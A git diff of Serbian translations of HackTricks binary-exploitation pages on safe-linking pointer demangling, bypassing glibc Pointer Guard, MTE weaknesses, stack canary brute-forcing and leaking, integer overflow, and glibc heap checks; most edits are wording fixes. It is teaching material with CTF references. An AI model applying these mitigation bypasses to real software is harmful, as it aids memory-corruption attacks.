+2. **Povećana Težina Tcache Bin/Fastbin Napada**: Uobičajeni napadi koji prepisuju funkcijske pokazivače (poput `__malloc_hook`) manipulacijom fastbin ili tcache unosa su otežani. Na primer, napad bi mogao uključivati propuštanje LibC adrese, oslobađanje chunk-a u tcache bin, a zatim prepisivanje Fd pokazivača da ga preusmeri na `__malloc_hook` za proizvoljno izvršenje koda. Sa izmenjivanjem pokazivača, ovi pokazivači moraju biti ispravno izmenjeni, **što zahteva propuštanje heap-a za tačnu manipulaciju**, čime se povećava barijera za eksploataciju.
+3. **Zahtev za Propuštanjem Heap-a u Ne-Heap Lokacijama**: Kreiranje lažnog chunk-a u ne-heap oblastima (poput steka, .bss sekcije ili PLT/GOT) sada takođe **zahteva propuštanje heap-a** zbog potrebe za izmenjivanjem pokazivača. Ovo produžava složenost eksploatacije ovih oblasti, slično zahtevu za manipulaciju LibC adresama.
+4. **Propuštanje Heap Adresa Postaje Teže**: Izmenjivanje pokazivača ograničava korisnost Fd pokazivača u fastbin i tcache bin-ovima kao izvora za propuštanje heap adresa. Međutim, pokazivači u neuređenim, malim i velikim binovima ostaju neizmenjeni, pa su i dalje upotrebljivi za propuštanje adresa. Ova promena podstiče napadače da istražuju ove binove za eksploatabilne informacije, iako neke tehnike mogu i dalje omogućiti demanipulaciju pokazivača pre propuštanja, iako sa ograničenjima.
-### **Demanipulacija pokazivača sa propuštanjem heap-a**
+### **Demangling Pointers with a Heap Leak**
> [!CAUTION]
> Za bolje objašnjenje procesa [**proverite originalni post ovde**](https://maxwelldulin.com/BlogPost?post=5445977088).
-### Pregled algoritma
+### Algorithm Overview
-Formula koja se koristi za manipulaciju i demanipulaciju pokazivača je:
+Formula koja se koristi za izmenjivanje i demanipulaciju pokazivača je:
**`New_Ptr = (L >> 12) XOR P`**
-Gde je **L** lokacija skladištenja, a **P** Fd pokazivač. Kada se **L** pomeri udesno za 12 bita, otkriva najznačajnije bitove **P**, zbog prirode **XOR**, koja daje 0 kada se bitovi XOR-uju sami sa sobom.
+Gde je **L** lokacija skladištenja, a **P** je Fd pokazivač. Kada se **L** pomeri udesno za 12 bita, izlaže najznačajnije bitove **P**, zbog prirode **XOR**, koja daje 0 kada se bitovi XOR-uju sa samima sobom.
-**Ključni koraci u algoritmu:**
+**Key Steps in the Algorithm:**
-1. **Početno propuštanje najznačajnijih bitova**: XOR-ovanjem pomerene **L** sa **P**, efikasno dobijate gornjih 12 bitova **P** jer će pomerena deo **L** biti nula, ostavljajući odgovarajuće bitove **P** nepromenjenim.
-2. **Obnova bitova pokazivača**: Pošto je XOR reverzibilan, poznavanje rezultata i jednog od operanada omogućava vam da izračunate drugi operand. Ova osobina se koristi za dedukciju celog skupa bitova za **P** sukcesivnim XOR-ovanjem poznatih skupova bitova sa delovima izmenjenog pokazivača.
-3. **Iterativna demanipulacija**: Proces se ponavlja, svaki put koristeći novo otkrivene bitove **P** iz prethodnog koraka za dekodiranje sledećeg segmenta izmenjenog pokazivača, sve dok se svi bitovi ne obnove.
-4. **Rukovanje determinističkim bitovima**: Poslednjih 12 bitova **L** se gubi zbog pomeranja, ali su deterministički i mogu se rekonstruisati nakon procesa.
+1. **Početno Propuštanje Najznačajnijih Bitova**: XOR-ovanjem pomerene **L** sa **P**, efikasno dobijate gornjih 12 bitova **P** jer će pomerena deo **L** biti nula, ostavljajući odgovarajuće bitove **P** nepromenjenim.
+2. **Obnova Bitova Pokazivača**: Pošto je XOR reverzibilan, poznavanje rezultata i jednog od operanada omogućava vam da izračunate drugi operand. Ova osobina se koristi za dedukciju celog skupa bitova za **P** sukcesivnim XOR-ovanjem poznatih skupova bitova sa delovima izmenjenog pokazivača.
+3. **Iterativna Demanipulacija**: Proces se ponavlja, svaki put koristeći novo otkrivene bitove **P** iz prethodnog koraka za dekodiranje sledećeg segmenta izmenjenog pokazivača, sve dok se svi bitovi ne obnove.
+4. **Rukovanje Determinističkim Bitovima**: Poslednjih 12 bitova **L** se gubi zbog pomeranja, ali su deterministički i mogu se rekonstruisati nakon procesa.
Možete pronaći implementaciju ovog algoritma ovde: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
-## Zaštita pokazivača
+## Pointer Guard
-Zaštita pokazivača je tehnika mitigacije eksploatacije koja se koristi u glibc-u za zaštitu skladištenih funkcijskih pokazivača, posebno onih registrovanih pozivima biblioteka kao što je `atexit()`. Ova zaštita uključuje mešanje pokazivača XOR-ovanjem sa tajnom koja se čuva u podacima niti (`fs:0x30`) i primenom bitovne rotacije. Ovaj mehanizam ima za cilj da spreči napadače da preuzmu kontrolu nad tokom izvršenja prepisivanjem funkcijskih pokazivača.
+Pointer guard je tehnika mitigacije eksploatacije koja se koristi u glibc-u za zaštitu skladištenih funkcijskih pokazivača, posebno onih registrovanih pozivima biblioteka kao što je `atexit()`. Ova zaštita uključuje mešanje pokazivača XOR-ovanjem sa tajnom koja se čuva u podacima niti (`fs:0x30`) i primenom bitovne rotacije. Ovaj mehanizam ima za cilj da spreči napadače da preuzmu kontrolu nad tokom izvršavanja prepisivanjem funkcijskih pokazivača.
-### **Obilaženje zaštite pokazivača sa propuštanjem**
+### **Bypassing Pointer Guard with a leak**
-1. **Razumevanje operacija zaštite pokazivača:** Mešanje (manipulacija) pokazivača se vrši korišćenjem makroa `PTR_MANGLE` koji XOR-uje pokazivač sa 64-bitnom tajnom i zatim vrši levo pomeranje od 0x11 bitova. Obrnuta operacija za vraćanje originalnog pokazivača se obavlja pomoću `PTR_DEMANGLE`.
-2. **Strategija napada:** Napad se zasniva na pristupu poznatom plain textu, gde napadač treba da zna i originalne i izmenjene verzije pokazivača da bi dedukovao tajnu korišćenu za mešanje.
-3. **Eksploatacija poznatih plain textova:**
-- **Identifikacija fiksnih funkcijskih pokazivača:** Istražujući izvorni kod glibc-a ili inicijalizovane tabele funkcijskih pokazivača (poput `__libc_pthread_functions`), napadač može pronaći predvidljive funkcijske pokazivače.
-- **Izračunavanje tajne:** Koristeći poznati funkcijski pokazivač kao što je `__pthread_attr_destroy` i njegovu izmenjenu verziju iz tabele funkcijskih pokazivača, tajna se može izračunati obrnuto rotirajući (desno rotiranje) izmenjeni pokazivač i zatim XOR-ujući ga sa adresom funkcije.
-4. **Alternativni plain textovi:** Napadač može takođe eksperimentisati sa mešanjem pokazivača sa poznatim vrednostima kao što su 0 ili -1 da vidi da li ove proizvode prepoznatljive obrasce u memoriji, potencijalno otkrivajući tajnu kada se ovi obrasci pronađu u dump-ovima memorije.
-5. **Praktična primena:** Nakon izračunavanja tajne, napadač može manipulirati pokazivačima na kontrolisan način, suštinski obilažeći zaštitu pokazivača u višedretvenoj aplikaciji sa znanjem o osnovnoj adresi libc-a i sposobnošću čitanja proizvoljnih memorijskih lokacija.
+1. **Razumevanje Operacija Pointer Guard:** Mešanje (izmenjivanje) pokazivača se vrši korišćenjem makroa `PTR_MANGLE` koji XOR-uje pokazivač sa 64-bitnom tajnom i zatim vrši levo pomeranje od 0x11 bitova. Obrnuta operacija za vraćanje originalnog pokazivača se obavlja pomoću `PTR_DEMANGLE`.
+2. **Strategija Napada:** Napad se zasniva na pristupu poznatom plain text-u, gde napadač treba da zna i originalne i izmenjene verzije pokazivača da bi dedukovao tajnu korišćenu za izmenjivanje.
+3. **Eksploatacija Poznatih Plaintext-a:**
+- **Identifikacija Fiksnih Funkcijskih Pokazivača:** Istražujući izvorni kod glibc-a ili inicijalizovane tabele funkcijskih pokazivača (poput `__libc_pthread_functions`), napadač može pronaći predvidljive funkcijske pokazivače.
+- **Izračunavanje Tajne:** Koristeći poznati funkcijski pokazivač kao što je `__pthread_attr_destroy` i njegovu izmenjenu verziju iz tabele funkcijskih pokazivača, tajna se može izračunati obrnuto rotirajući (desno rotiranje) izmenjeni pokazivač i zatim XOR-ujući ga sa adresom funkcije.
+4. **Alternativni Plaintext-i:** Napadač može takođe eksperimentisati sa izmenjivanjem pokazivača poznatim vrednostima kao što su 0 ili -1 da vidi da li ove proizvode prepoznatljive obrasce u memoriji, potencijalno otkrivajući tajnu kada se ovi obrasci pronađu u dump-ovima memorije.
+5. **Praktična Primena:** Nakon izračunavanja tajne, napadač može manipulirati pokazivačima na kontrolisan način, suštinski zaobilazeći zaštitu Pointer Guard u višedretvenoj aplikaciji sa znanjem o osnovnoj adresi libc-a i sposobnošću čitanja proizvoljnih memorijskih lokacija.
-## Reference
+## References
- [https://maxwelldulin.com/BlogPost?post=5445977088](https://maxwelldulin.com/BlogPost?post=5445977088)
- [https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1](https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1)
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
index b4802e27e..60728edfa 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
@@ -8,9 +8,9 @@
### **Kako funkcioniše Memory Tagging Extension**
-MTE funkcioniše tako što **deliti memoriju na male, fiksne blokove, pri čemu je svaki blok dodeljen tag,** obično veličine nekoliko bita.
+MTE funkcioniše tako što **deliti memoriju na male, fiksne blokove, pri čemu je svakom bloku dodeljen tag,** obično veličine nekoliko bita.
-Kada se kreira pokazivač koji pokazuje na tu memoriju, dobija isti tag. Ovaj tag se čuva u **neiskorišćenim bitovima pokazivača u memoriji**, efektivno povezujući pokazivač sa odgovarajućim memorijskim blokom.
+Kada se kreira pokazivač koji ukazuje na tu memoriju, dobija isti tag. Ovaj tag se čuva u **neiskorišćenim bitovima pokazivača u memoriji**, efektivno povezujući pokazivač sa odgovarajućim memorijskim blokom.
@@ -57,23 +57,23 @@ CPU proverava oznake **asinhrono**, i kada se pronađe neslaganje, postavlja bit
Naziva se Hardware Tag-Based KASAN, MTE-based KASAN ili in-kernel MTE.\
Kernel alokatori (kao što je `kmalloc`) će **pozvati ovaj modul** koji će pripremiti oznaku za korišćenje (slučajno) i prikačiti je na alocirani kernel prostor i na vraćeni pokazivač.
-Napomena: **označiće samo dovoljno memorijskih granula** (16B svaka) za traženu veličinu. Dakle, ako je tražena veličina bila 35, a data je granula od 60B, označiće prvih 16\*3 = 48B ovom oznakom, a **ostatak** će biti **označen** takozvanom **nevažećom oznakom (0xE)**.
+Napomena da će **označiti samo dovoljno memorijskih granula** (16B svaka) za traženu veličinu. Dakle, ako je tražena veličina bila 35, a data je granula od 60B, označiće prvih 16\*3 = 48B ovom oznakom, a **ostatak** će biti **označen** takozvanom **nevažećom oznakom (0xE)**.
-Oznaka **0xF** je **pokazivač koji se poklapa sa svime**. Memorija sa ovom oznakom omogućava **bilo koju oznaku da se koristi** za pristup njenoj memoriji (bez neslaganja). Ovo bi moglo sprečiti MET da detektuje napad ako se ove oznake koriste u napadnutoj memoriji.
+Oznaka **0xF** je **pokazivač koji se poklapa sa svime**. Memorija sa ovom oznakom omogućava **bilo koju oznaku da se koristi** za pristup njenoj memoriji (nema neslaganja). Ovo bi moglo sprečiti MET da detektuje napad ako se ove oznake koriste u napadnutoj memoriji.
Stoga postoji samo **14 vrednosti** koje se mogu koristiti za generisanje oznaka, jer su 0xE i 0xF rezervisane, što daje verovatnoću **ponovne upotrebe oznaka** od 1/17 -> oko **7%**.
-Ako kernel pristupi **nevažećoj granuli oznake**, **neslaganje** će biti **detektovano**. Ako pristupi drugoj memorijskoj lokaciji, ako **memorija ima drugačiju oznaku** (ili nevažeću oznaku), neslaganje će biti **detektovano**. Ako je napadač srećan i memorija koristi istu oznaku, to neće biti detektovano. Šanse su oko 7%.
+Ako kernel pristupi **nevažećoj granuli**, **neslaganje** će biti **detektovano**. Ako pristupi drugoj memorijskoj lokaciji, ako **memorija ima drugačiju oznaku** (ili nevažeću oznaku), neslaganje će biti **detektovano**. Ako je napadač srećan i memorija koristi istu oznaku, to neće biti detektovano. Šanse su oko 7%.
-Još jedna greška se javlja u **poslednjoj granuli** alocirane memorije. Ako je aplikacija tražila 35B, data je granula od 32 do 48. Stoga, **bajti od 36 do 47 koriste istu oznaku** ali nisu traženi. Ako napadač pristupi **ovim dodatnim bajtovima, to neće biti detektovano**.
+Još jedna greška se javlja u **poslednjoj granuli** alocirane memorije. Ako je aplikacija tražila 35B, data je granula od 32 do 48. Stoga, **bajti od 36 do 47 koriste istu oznaku** ali nisu traženi. Ako napadač pristupi **ovim dodatnim bajtovima, to nije detektovano**.
-Kada se izvrši **`kfree()`**, memorija se ponovo označava nevažećom memorijskom oznakom, tako da u **upotrebi nakon oslobađanja**, kada se memorija ponovo pristupi, **neslaganje se detektuje**.
+Kada se izvrši **`kfree()`**, memorija se ponovo označava nevažećom memorijskom oznakom, tako da u **use-after-free**, kada se memorija ponovo pristupi, **neslaganje se detektuje**.
-Međutim, u upotrebi nakon oslobađanja, ako se isti **deo ponovo alocira sa ISTOM oznakom** kao prethodno, napadač će moći da iskoristi ovaj pristup i to neće biti detektovano (oko 7% šanse).
+Međutim, u use-after-free, ako se isti **deo ponovo alocira sa ISTOM oznakom** kao prethodno, napadač će moći da iskoristi ovaj pristup i to neće biti detektovano (oko 7% šanse).
Štaviše, samo **`slab` i `page_alloc`** koriste označenu memoriju, ali će se u budućnosti ovo takođe koristiti u `vmalloc`, `stack` i `globals` (u trenutku snimanja videa, ove se još uvek mogu zloupotrebiti).
-Kada se **neslaganje detektuje**, kernel će **panikovati** kako bi sprečio dalju eksploataciju i ponovne pokušaje eksploata. (MTE nema lažno pozitivne rezultate).
+Kada se **neslaganje detektuje**, kernel će **panikovati** kako bi sprečio dalju eksploataciju i ponovne pokušaje eksploata. (MTE nema lažnih pozitivnih rezultata).
## Reference
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
index d09ac1b35..085a01522 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
@@ -14,11 +14,11 @@
Najbolji način da se zaobiđe jednostavna kanara je ako je binarni fajl program **koji fork-uje dečije procese svaki put kada uspostavite novu vezu** s njim (mrežna usluga), jer svaki put kada se povežete s njim **biće korišćen isti kanar**.
-Tada je najbolji način da se zaobiđe kanar jednostavno **brute-force-ovati ga karakter po karakter**, i možete da utvrdite da li je pogodjena bajt kanara bila tačna proverom da li je program pao ili nastavlja svoj redovni tok. U ovom primeru funkcija **brute-force-uje 8 Bytes kanar (x64)** i razlikuje između tačno pogodjenog bajta i lošeg bajta samo **proveravajući** da li je **odgovor** poslat nazad od strane servera (drugi način u **drugoj situaciji** mogao bi biti korišćenje **try/except**):
+Tada je najbolji način da se zaobiđe kanar jednostavno **brute-force-ovati ga karakter po karakter**, i možete da utvrdite da li je pogodjena bajt kanara bila tačna proverom da li je program pao ili nastavlja svoj redovni tok. U ovom primeru funkcija **brute-force-uje 8 bajtni kanar (x64)** i razlikuje između tačno pogodjenog bajta i lošeg bajta samo **proveravajući** da li je **odgovor** poslat nazad od strane servera (drugi način u **drugoj situaciji** mogao bi biti korišćenje **try/except**):
### Primer 1
-Ovaj primer je implementiran za 64 bita, ali bi mogao lako da se implementira i za 32 bita.
+Ovaj primer je implementiran za 64 bita, ali se lako može implementirati i za 32 bita.
```python
from pwn import *
@@ -103,15 +103,15 @@ log.info(f"The canary is: {canary}")
```
## Threads
-Threadovi istog procesa će takođe **deliti isti canary token**, stoga će biti moguće **brute-forc**ati canary ako binarni program pokreće novu nit svaki put kada se dogodi napad.
+Threads istog procesa će takođe **deliti isti canary token**, stoga će biti moguće **brute-forc**ovati canary ako binarni fajl pokreće novu nit svaki put kada se dogodi napad.
-Štaviše, **buffer overflow u funkciji sa nitima** zaštićenoj canary-jem mogao bi se koristiti za **modifikaciju glavnog canary-ja koji se čuva u TLS-u**. To je zato što bi moglo biti moguće doći do memorijske pozicije gde se TLS čuva (i stoga, canary) putem **bof-a u steku** niti.\
+Štaviše, **overflow bafera u funkciji sa nitima** zaštićenoj canary-jem mogao bi se koristiti za **modifikaciju glavnog canary-ja koji je sačuvan u TLS-u**. To je zato što bi moglo biti moguće doći do memorijske pozicije gde je TLS sačuvan (i stoga, canary) putem **bof-a u steku** niti.\
Kao rezultat, mitigacija je beskorisna jer se provera koristi sa dva canary-ja koja su ista (iako modifikovana).\
-Ovaj napad je izveden u izveštaju: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
+Ovaj napad je prikazan u pisanju: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
-Pogledajte takođe prezentaciju [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) koja pominje da se obično **TLS** čuva putem **`mmap`** i kada se kreira **stack** **niti** takođe se generiše putem `mmap`, što može omogućiti overflow kao što je prikazano u prethodnom izveštaju.
+Pogledajte takođe prezentaciju [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) koja pominje da se obično **TLS** čuva putem **`mmap`** i kada se **stack** **niti** kreira, takođe se generiše putem `mmap`, što može omogućiti overflow kao što je prikazano u prethodnom pisanju.
## Other examples & references
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
-- 64 bita, bez PIE, nx, BF canary, upisati u neku memoriju ROP za pozivanje `execve` i skočiti tamo.
+- 64 bita, bez PIE, nx, BF canary, upisati u neku memoriju ROP da pozove `execve` i skoči tamo.
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
index f279256d9..49b86368a 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
@@ -2,32 +2,32 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Uvećaj štampanu stog
+## Enlarge printed stack
-Zamislite situaciju u kojoj **program ranjiv** na prelivanje stoga može izvršiti **puts** funkciju **koja pokazuje** na **deo** **prelivanja stoga**. Napadač zna da je **prvi bajt kanarija null bajt** (`\x00`) i da su ostali bajtovi kanarija **nasumični**. Tada, napadač može kreirati prelivanje koje **prepisuje stog sve do prvog bajta kanarija**.
+Zamislite situaciju u kojoj **program koji je ranjiv** na stack overflow može izvršiti **puts** funkciju **koja pokazuje** na **deo** **stack overflow**. Napadač zna da je **prvi bajt canary nulti bajt** (`\x00`) i da su ostali bajtovi canary **nasumični**. Tada, napadač može kreirati overflow koji **prepisuje stack sve do prvog bajta canary**.
-Zatim, napadač **poziva puts funkcionalnost** na sredini payload-a koja će **odštampati ceo kanarij** (osim prvog null bajta).
+Zatim, napadač **poziva puts funkcionalnost** na sredini payload-a koja će **odštampati celu canary** (osim prvog nulti bajta).
-Sa ovom informacijom, napadač može **izraditi i poslati novi napad** znajući kanarij (u istoj sesiji programa).
+Sa ovom informacijom, napadač može **pripremiti i poslati novi napad** znajući canary (u istoj sesiji programa).
-Očigledno, ova taktika je veoma **ograničena** jer napadač mora biti u mogućnosti da **odštampa** **sadržaj** svog **payload-a** da bi **ekstrahovao** **kanarij** i zatim biti u mogućnosti da kreira novi payload (u **istoј sesiji programa**) i **pošalje** **pravi buffer overflow**.
+Očigledno, ova taktika je veoma **ograničena** jer napadač mora biti u mogućnosti da **odštampa** **sadržaj** svog **payload-a** da bi **izvukao** **canary** i zatim biti u mogućnosti da kreira novi payload (u **istoј sesiji programa**) i **pošalje** **pravi buffer overflow**.
-**CTF primeri:**
+**CTF primeri:**
- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
-- 64 bita, ASLR omogućeno, ali bez PIE, prvi korak je popuniti prelivanje do bajta 0x00 kanarija da bi se zatim pozvao puts i iscurio. Sa kanarijem se kreira ROP gadget za pozivanje puts da bi se iscurila adresa puts iz GOT-a i ROP gadget za pozivanje `system('/bin/sh')`
+- 64 bita, ASLR omogućeno ali bez PIE, prvi korak je popuniti overflow do bajta 0x00 canary da bi se zatim pozvao puts i otkrio ga. Sa canary se kreira ROP gadget za pozivanje puts da bi se otkrila adresa puts iz GOT-a i ROP gadget za pozivanje `system('/bin/sh')`
- [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html)
-- 32 bita, ARM, bez relro, kanarij, nx, bez pie. Prelivanje sa pozivom na puts da bi se iscurio kanarij + ret2lib pozivajući `system` sa ROP lancem za pop r0 (arg `/bin/sh`) i pc (adresa sistema)
+- 32 bita, ARM, bez relro, canary, nx, bez pie. Overflow sa pozivom na puts da bi se otkrio canary + ret2lib pozivajući `system` sa ROP lancem za pop r0 (arg `/bin/sh`) i pc (adresa system)
-## Arbitrarni Čitanje
+## Arbitrary Read
-Sa **arbitrarnim čitanjem** poput onog koji pružaju formatne **nizove** može biti moguće iscuriti kanarij. Pogledajte ovaj primer: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) i možete pročitati o zloupotrebi formatnih nizova za čitanje arbitrarnim memorijskim adresama u:
+Sa **arbitrary read** kao što je onaj koji pružaju format **stringovi** može biti moguće otkriti canary. Pogledajte ovaj primer: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) i možete pročitati o zloupotrebi format stringova za čitanje proizvoljnih memorijskih adresa u:
{{#ref}}
../../format-strings/
{{#endref}}
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
-- Ova izazov zloupotrebljava na veoma jednostavan način formatni niz za čitanje kanarija sa stoga
+- Ova izazov zloupotrebljava na veoma jednostavan način format string da bi pročitao canary sa stack-a
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/integer-overflow.md b/src/binary-exploitation/integer-overflow.md
index 5c5bd42b5..fabef6caf 100644
--- a/src/binary-exploitation/integer-overflow.md
+++ b/src/binary-exploitation/integer-overflow.md
@@ -4,7 +4,7 @@
## Osnovne informacije
-U srži **integer overflow** je ograničenje koje nameće **veličina** tipova podataka u programiranju i **tumačenje** podataka.
+U srcu **integer overflow** je ograničenje koje nameće **veličina** tipova podataka u računarstvu i **tumačenje** podataka.
Na primer, **8-bitni bez znak** može predstavljati vrednosti od **0 do 255**. Ako pokušate da sačuvate vrednost 256 u 8-bitnom bez znaka, ona se vraća na 0 zbog ograničenja svoje kapaciteta skladištenja. Slično tome, za **16-bitni bez znak**, koji može da drži vrednosti od **0 do 65,535**, dodavanje 1 na 65,535 će vratiti vrednost nazad na 0.
@@ -67,9 +67,9 @@ printf("Result: %d\n", result); // Expected to overflow
return 0;
}
```
-### Konverzija sa potpisanog na nepotpisani
+### Signed to Unsigned Conversion
-Razmotrite situaciju u kojoj se potpisani ceo broj čita iz korisničkog unosa i zatim se koristi u kontekstu koji ga tretira kao nepotpisani ceo broj, bez pravilne validacije:
+Razmotrite situaciju u kojoj se potpisani ceo broj čita iz korisničkog unosa i zatim se koristi u kontekstu koji ga tretira kao nepotpisani ceo broj, bez odgovarajuće validacije:
```c
#include
@@ -99,14 +99,14 @@ U ovom primeru, ako korisnik unese negativan broj, biće interpretiran kao velik
- Samo 1B se koristi za čuvanje veličine lozinke, tako da je moguće prepuniti je i naterati je da misli da je dužina 4, dok je zapravo 260, kako bi se zaobišla zaštita provere dužine.
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
-- Dati nekoliko brojeva, otkrijte koristeći z3 novi broj koji pomnožen sa prvim će dati drugi:
+- Dati nekoliko brojeva, pronaći koristeći z3 novi broj koji pomnožen sa prvim daje drugi:
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
-- Samo 1B se koristi za čuvanje veličine lozinke, tako da je moguće prepuniti je i naterati je da misli da je dužina 4, dok je zapravo 260, kako bi se zaobišla zaštita provere dužine i prepisala sledeća lokalna promenljiva na steku i zaobišla obe zaštite.
+- Samo 1B se koristi za čuvanje veličine lozinke, tako da je moguće prepuniti je i naterati je da misli da je dužina 4, dok je zapravo 260, kako bi se zaobišla zaštita provere dužine i prepisala sledeća lokalna promenljiva na steku, čime se zaobilaze obe zaštite.
## ARM64
diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
index 47253e250..f8d57b458 100644
--- a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
+++ b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
@@ -14,9 +14,9 @@ Ovo je sažetak izvršenih provera:
- Proverite da li je naznačena veličina dela ista kao `prev_size` naznačena u sledećem delu
- Poruka o grešci: `corrupted size vs. prev_size`
-- Takođe proverite da li je `P->fd->bk == P` i `P->bk->fw == P`
+- Takođe proverite da li `P->fd->bk == P` i `P->bk->fw == P`
- Poruka o grešci: `corrupted double-linked list`
-- Ako deo nije mali, proverite da li je `P->fd_nextsize->bk_nextsize == P` i `P->bk_nextsize->fd_nextsize == P`
+- Ako deo nije mali, proverite da li `P->fd_nextsize->bk_nextsize == P` i `P->bk_nextsize->fd_nextsize == P`
- Poruka o grešci: `corrupted double-linked list (not small)`
## \_int_malloc
@@ -32,22 +32,22 @@ malloc-and-sysmalloc.md
- Poruka o grešci: `malloc(): unaligned fastbin chunk detected 2`
- Ako je napredni deo neusklađen:
- Poruka o grešci: `malloc(): unaligned fastbin chunk detected`
-- Ako je vraćeni deo veličine koja nije ispravna zbog svog indeksa u brzom binu:
+- Ako vraćeni deo ima veličinu koja nije ispravna zbog svog indeksa u brzom binu:
- Poruka o grešci: `malloc(): memory corruption (fast)`
- Ako je bilo koji deo korišćen za popunjavanje tcache-a neusklađen:
- Poruka o grešci: `malloc(): unaligned fastbin chunk detected 3`
- **Provere tokom pretrage malih binova:**
- Ako `victim->bk->fd != victim`:
- Poruka o grešci: `malloc(): smallbin double linked list corrupted`
-- **Provere tokom konsolidacije** izvršene za svaki deo brzog bin-a:
-- Ako je deo neusklađen:
+- **Provere tokom konsolidacije** izvršene za svaki deo brzog bin:
+- Ako je deo neusklađen, pokrenite:
- Poruka o grešci: `malloc_consolidate(): unaligned fastbin chunk detected`
- Ako deo ima drugačiju veličinu od one koju bi trebao imati zbog indeksa u kojem se nalazi:
- Poruka o grešci: `malloc_consolidate(): invalid chunk size`
- Ako prethodni deo nije u upotrebi i prethodni deo ima veličinu koja se razlikuje od one naznačene od strane prev_chunk:
- Poruka o grešci: `corrupted size vs. prev_size in fastbins`
- **Provere tokom pretrage nesortiranih binova**:
-- Ako je veličina dela čudna (previše mala ili previše velika):
+- Ako je veličina dela čudna (previše mala ili previše velika):
- Poruka o grešci: `malloc(): invalid size (unsorted)`
- Ako je veličina sledećeg dela čudna (previše mala ili previše velika):
- Poruka o grešci: `malloc(): invalid next size (unsorted)`
@@ -56,7 +56,7 @@ malloc-and-sysmalloc.md
- Ako nije `victim->bck->fd == victim` ili nije `victim->fd == av (arena)`:
- Poruka o grešci: `malloc(): unsorted double linked list corrupted`
- Kako uvek proveravamo poslednji, njegov fd bi trebao uvek da pokazuje na strukturu arena.
-- Ako sledeći deo ne naznačuje da je prethodni u upotrebi:
+- Ako sledeći deo ne naznačava da je prethodni u upotrebi:
- Poruka o grešci: `malloc(): invalid next->prev_inuse (unsorted)`
- Ako `fwd->bk_nextsize->fd_nextsize != fwd`:
- Poruka o grešci: `malloc(): largebin double linked list corrupted (nextsize)`
@@ -108,12 +108,12 @@ free.md
- Poruka o grešci: `free(): too many chunks detected in tcache`
- Ako unos nije usklađen:
- Poruka o grešci: `free(): unaligned chunk detected in tcache 2`
-- Ako je oslobođeni deo već bio oslobođen i prisutan je kao deo u tcache:
+- Ako je oslobođeni deo već bio oslobođen i prisutan kao deo u tcache:
- Poruka o grešci: `free(): double free detected in tcache 2`
- **Provere u `_int_free` brzom binu:**
-- Ako je veličina dela neispravna (prevelika ili premala) pokreni:
+- Ako je veličina dela neispravna (prevelika ili premala) pokrenite:
- Poruka o grešci: `free(): invalid next size (fast)`
-- Ako je dodatni deo već bio vrh brzog bin-a:
+- Ako je dodatni deo već bio vrh brzog bin:
- Poruka o grešci: `double free or corruption (fasttop)`
- Ako veličina dela na vrhu ima drugačiju veličinu od dela koji dodajemo:
- Poruka o grešci: `invalid fastbin entry (free)`
